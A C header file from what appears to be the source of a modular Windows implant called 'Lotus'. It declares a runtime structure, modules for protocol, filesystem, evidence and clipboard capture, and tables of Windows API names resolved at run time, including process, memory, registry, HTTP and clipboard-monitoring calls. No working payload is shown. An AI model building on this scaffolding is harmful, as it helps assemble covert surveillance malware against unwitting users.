#pragma once
#include <Windows.h>

/* winapi */
#include "kernel32.h"
#include "advapi32.h"
#include "msvcrt.h"
#include "winhttp.h"
#include "ws2_32.h"
#include "ole32.h"
#include "oleaut32.h"
#include "user32.h"

/* modules callback */
#include "modules_function_pointers.h"

/* version specific stuff */
#include "version.h"

#include "macro_functions.h"
#include "../Actproxy/bin_patch.h"

typedef struct _INIT_FUNCTIONPOINTERS
{
	LOCALALLOC fpLocalAlloc;
	LOCALFREE  fpLocalFree;
	LOADLIBRARYA fpLoadLibraryA;
	GETPROCADDRESS fpGetProcAddress;
}INIT_FUNCTIONPOINTERS, *PINIT_FUNCTIONPOINTERS;

/* allocators for dll mode (no runtime) */
VOID* noRuntimeAlloc(LPVOID pRuntime, SIZE_T size);
VOID  noRuntimeFree(LPVOID pRuntime, VOID* ptr);
VOID* noRuntimeRealloc(LPVOID pRuntime, VOID* ptr, SIZE_T size);

/* allocators defintion */
typedef VOID*(*SALLOC)(LPVOID pRuntime, SIZE_T size);
typedef VOID*(*SCALLOC)(LPVOID pRuntime, SIZE_T nmemb, SIZE_T size);
typedef VOID(*SFREE)(LPVOID pRuntime, VOID* ptr);
typedef VOID*(*SREALLOC)(LPVOID pRuntime, VOID* ptr, SIZE_T size);

typedef struct _ALLOCATORS
{
	SALLOC fpSalloc;
	SCALLOC fpScalloc;
	SFREE fpSfree;
	SREALLOC fpSrealloc;
}ALLOCATORS, *PALLOCATORS;


typedef struct _MODULE_SPECIFIC_DATA
{
	LPVOID lpVariables;
	LPVOID lpStrings;
} MODULE_SPECIFIC_DATA, *PMODULE_SPECIFIC_DATA;

/* dwModuleId */
#define MODULE_MAIN_LOTUS_ID				0x5e77da770d000000
#define	MODULE_PROTOCOL_LOTUS_ID			0x5e77da770d000001
#define	MODULE_FILESYSTEM_LOTUS_ID			0x5e77da770d000002
#define	MODULE_CONFIGURATION_LOTUS_ID		0x5e77da770d000003
#define	MODULE_EVENTS_LOTUS_ID				0x5e77da770d000004
#define	MODULE_STORAGE_LOTUS_ID				0x5e77da770d000005
#define	MODULE_EVIDENCE_LOTUS_ID			0x5e77da770d000006
#define	MODULE_CLIPBOARD_LOTUS_ID			0x5e77da770d000007

/* index within pModuleSpecificData */
typedef enum _MODULE_SPECIFIC_DATA_INDEX
{
	INDEX_MAIN,
	INDEX_PROTOCOL,
	INDEX_FILESYSTEM,
	INDEX_CONFIGURATION,
	INDEX_EVENTS,
	INDEX_STORAGE,
	INDEX_EVENTS_ACTIONS_ENGINE,
	INDEX_EVIDENCE,
	INDEX_CLIPBOARD,
	NUMBER_OF_MODULES,
}MODULE_SPECIFIC_DATA_INDEX, *PMODULE_SPECIFIC_DATA_INDEX;

typedef DWORD(*PMAIN_CALLBACK) (LPVOID pRuntime, int argc, char * argv[]);

typedef struct _RUNTIME
{
#define STRUCT_RUNTIME_START 0x57A373E0
	DWORD dwStructRuntimeStart;

	/* winapi function pointers */
	PVTABLE_KERNEL32 pKernel32;
	PVTABLE_ADVAPI32 pAdvapi32;
	PVTABLE_MSVCRT pMsvcrt;
	PVTABLE_WINHTTP pWinhttp;
	PVTABLE_WS2_32 pWs2_32;
	PVTABLE_OLE32 pOle32;
	PVTABLE_OLEAUT32 pOleAut32;
	PVTABLE_USER32 pUser32;
	PALLOCATORS pAllocators;

	/* modules function pointers */
	EXTERNAL_MODULES_FUNCTION_POINTERS pExternalModules;

	/* module specific variables and strings  */
	PMODULE_SPECIFIC_DATA pModuleSpecificData[NUMBER_OF_MODULES];

	/* global variables */
	PBINPATCH_STRUCT lpBinPatchVariables;
	PIMPLANT_VERSION pVersion;
	LPVOID lpGlobalVariales;

	/* main callback*/
	PMAIN_CALLBACK pMain;

#define STRUCT_RUNTIME_END 0x57A373E1
	DWORD dwStructRuntimeEnd;
} RUNTIME, *PRUNTIME;

/***********************/

typedef DWORD (*PEXTERNAL_MODULE_REGISTRATION) (PRUNTIME pRuntime, int argc, char * argv[]);

typedef struct _MODULE_DEFINITION
{
	DWORD64 dwModuleId;
	MODULE_SPECIFIC_DATA_INDEX dataIndex;
	PEXTERNAL_MODULE_REGISTRATION fpRegistrationFunction;
	PMODULE_SPECIFIC_DATA pModuleSpecificData;
} MODULE_DEFINITION, *PMODULE_DEFINITION;


/***********************/


typedef struct _DYNAMIC_LOADER_STRINGS
{
	CHAR strKernel32[9];
	CHAR strCloseHandle[12];
	CHAR strCreateFileA[12];
	CHAR strCreatePipe[11];
	CHAR strCreateProcessA[15];
	CHAR strCreateThread[13];
	CHAR strDeleteFileA[12];
	CHAR strEnterCriticalSection[21];
	CHAR strExitThread[11];
	CHAR strExpandEnvironmentStringsA[26];
	CHAR strFindClose[10];
	CHAR strFindFirstFileA[15];
	CHAR strFindNextFileA[14];
	CHAR strFlushFileBuffers[17];
	CHAR strFreeLibrary[12];
	CHAR strGetCurrentProcess[18];
	CHAR strGetDriveTypeA[14];
	CHAR strGetFileSize[12];
	CHAR strGetEnvironmentVariableA[24];
	CHAR strGetEnvironmentVariableW[24];
	CHAR strGetLastError[13];
	CHAR strGetProcAddress[15];
	CHAR strGetSystemTimeAsFileTime[24];
	CHAR strGetTickCount[13];
	CHAR strGlobalLock[11];
	CHAR strGlobalUnlock[13];
	CHAR strInitializeCriticalSection[26];
	CHAR strLeaveCriticalSection[21];
	CHAR strLocalAlloc[11];
	CHAR strLoadLibraryA[13];
	CHAR strLocalFree[10];
	CHAR strLocalReAlloc[13];
	CHAR strOutputDebugStringA[19];
	CHAR strReadFile[9];
	CHAR strSleep[6];
	CHAR strVirtualAlloc[13];
	CHAR strVirtualAllocEx[15];
	CHAR strVirtualFree[12];
	CHAR strVirtualProtect[15];
	CHAR strWaitForSingleObject[20];
	CHAR strWriteFile[10];
	CHAR strAdvapi32[9];
	CHAR strConvertSidToStringSidA[23];
	CHAR strGetTokenInformation[20];
	CHAR strOpenProcessToken[17];
	CHAR strRegCloseKey[12];
	CHAR strRegCreateKeyExA[16];
	CHAR strRegDeleteKeyA[14];
	CHAR strRegDisableReflectionKey[24];
	CHAR strRegEnableReflectionKey[23];
	CHAR strRegOpenCurrentUser[19];
	CHAR strRegOpenKeyExA[14];
	CHAR strRegQueryReflectionKey[22];
	CHAR strRegSetValueExA[15];
	CHAR strMsvcrt[7];
	CHAR str_beginthreadex[15];
	CHAR str_close[7];
	CHAR strIsdigit[8];
	CHAR strIsspace[8];
	CHAR str_itoa_s[8];
	CHAR str_itow_s[8];
	CHAR strMemcmp[7];
	CHAR strMemcpy[7];
	CHAR strMemcpy_s[9];
	CHAR strMemset[7];
	CHAR str_open[6];
	CHAR strRand[5];
	CHAR str_read[6];
	CHAR str_snprintf_s[12];
	CHAR str_snprintf[10];
	CHAR strSrand[6];
	CHAR strStrcmp[7];
	CHAR str_strdup[8];
	CHAR strStrlen[7];
	CHAR strStrrchr[8];
	CHAR strSscanf[7];
	CHAR strSscanf_s[9];
	CHAR strStrcat_s[9];
	CHAR strStrchr[7];
	CHAR strStrncpy_s[10];
	CHAR strStrncmp[8];
	CHAR str_strnicmp[10];
	CHAR strStrtod[7];
	CHAR strSwprintf_s[11];
	CHAR strTime[5];
	CHAR strToupper[8];
	CHAR str_vscprintf[11];
	CHAR strVsnprintf[10];
	CHAR strVsprintf[9];
	CHAR strWcscat_s[9];
	CHAR strWcscpy_s[9];
	CHAR strWcslen[7];
	CHAR str_write[7];
	CHAR str_wtoi[6];
	CHAR strWinhttp[8];
	CHAR strWinHttpCloseHandle[19];
	CHAR strWinHttpConnect[15];
	CHAR strWinHttpGetIEProxyConfigForCurrentUser[38];
	CHAR strWinHttpGetProxyForUrl[22];
	CHAR strWinHttpOpen[12];
	CHAR strWinHttpOpenRequest[19];
	CHAR strWinHttpQueryHeaders[20];
	CHAR strWinHttpReadData[16];
	CHAR strWinHttpReceiveResponse[23];
	CHAR strWinHttpSendRequest[19];
	CHAR strWinHttpSetOption[17];
	CHAR strWinHttpSetTimeouts[19];
	CHAR strWs2_32[7];
	CHAR strGethostbyname[14];
	CHAR strInet_addr[10];
	CHAR strInet_ntoa[10];
	CHAR strNtohl[6];
	CHAR strWSACleanup[11];
	CHAR strWSAStartup[11];
	CHAR strOleAut32[9];
	CHAR strSysAllocString[15];
	CHAR strSysFreeString[14];
	CHAR strVariantClear[13];
	CHAR strVariantInit[12];
	CHAR strOle32[6];
	CHAR strCoCreateInstance[17];
	CHAR strCoInitializeEx[15];
	CHAR strCoInitializeSecurity[21];
	CHAR strCoSetProxyBlanket[18];
	CHAR strCoUninitialize[15];
	CHAR strUser32[7];
	CHAR strAddClipboardFormatListener[27];
	CHAR strCloseClipboard[15];
	CHAR strGetClipboardData[17];
	CHAR strGetClipboardOwner[18];
	CHAR strGetForegroundWindow[20];
	CHAR strGetWindowThreadProcessId[25];
	CHAR strGetWindowTextA[15];
	CHAR strOpenClipboard[14];
}DYNAMIC_LOADER_STRINGS, *PDYNAMIC_LOADER_STRINGS;


/* runtime getter/setter helper */
PRUNTIME GetRuntimeViaTls();
VOID SetRuntimeViaTls(PRUNTIME pRuntime);
BOOL SetRuntimeViaPatching64(PRUNTIME pRuntime);
PRUNTIME GetRuntimeViaPatching64();

BOOL WINAPI RuntimeInit(PRUNTIME* ppRuntime, PDYNAMIC_LOADER_STRINGS pModuleLoaderStrings, PINIT_FUNCTIONPOINTERS pInit);
BOOL WINAPI RuntimeClose(PRUNTIME* ppRuntime, PINIT_FUNCTIONPOINTERS pInit);
BOOL WINAPI RuntimeMain(PRUNTIME* ppRuntime, PBINPATCH_STRUCT pBinBatchStuff, int argc, char *argv[]);

extern BOOL WINAPI RuntimeInitWrapper(PRUNTIME* ppRuntime, PDYNAMIC_LOADER_STRINGS pModuleLoaderStrings, PINIT_FUNCTIONPOINTERS pInit);
extern BOOL WINAPI RuntimeCloseWrapper(PRUNTIME* ppRuntime, PINIT_FUNCTIONPOINTERS pInit);
extern BOOL WINAPI RuntimeMainWrapper(PRUNTIME* ppRuntime, PBINPATCH_STRUCT pBinBatchStuff, int argc, char *argv[]);

typedef BOOL(WINAPI * RUNTIME_INIT)(PRUNTIME* ppRuntime, PDYNAMIC_LOADER_STRINGS pModuleLoaderStrings, PINIT_FUNCTIONPOINTERS pInit);
typedef BOOL(WINAPI * RUNTIME_CLOSE)(PRUNTIME* ppRuntime, PINIT_FUNCTIONPOINTERS pInit);
typedef BOOL(WINAPI*  RUNTIME_MAIN)(PRUNTIME* ppRuntime, PBINPATCH_STRUCT pBinBatchStuff, int argc, char *argv[]);


/*	Lotus "linker":
	RuntimeInitWrapperExport		EQU 00dd171e5f00d0001h
	RuntimeCloseWrapperExport		EQU 00dd171e5f00d0002h
	RuntimeMainWrapperExport		EQU 00dd171e5f00d0003h
*/
#define RUNTIME_INIT_WRAPPER_EXPORT					0x00dd171e5f00d0001
#define RUNTIME_CLOSE_WRAPPER_EXPORT				0x00dd171e5f00d0002
#define	RUNTIME_MAIN_WRAPPER_EXPORT					0x00dd171e5f00d0003
#define	RUNTIME_REGISTER_MODULE_WRAPPER_EXPORT		0x00dd171e5f00d0004



/* global defines */
#define MAX_FILE_PATH 32767

PRUNTIME LoadRuntime(); // test stuff

/* shouldn't be really here, but fuck */
typedef struct _MONITOR_THREAD_PARAMETERS
{
	PRUNTIME pRuntime;
	VOID* args;
} MONITOR_THREAD_PARAMETERS, *PMONITOR_THREAD_PARAMETERS;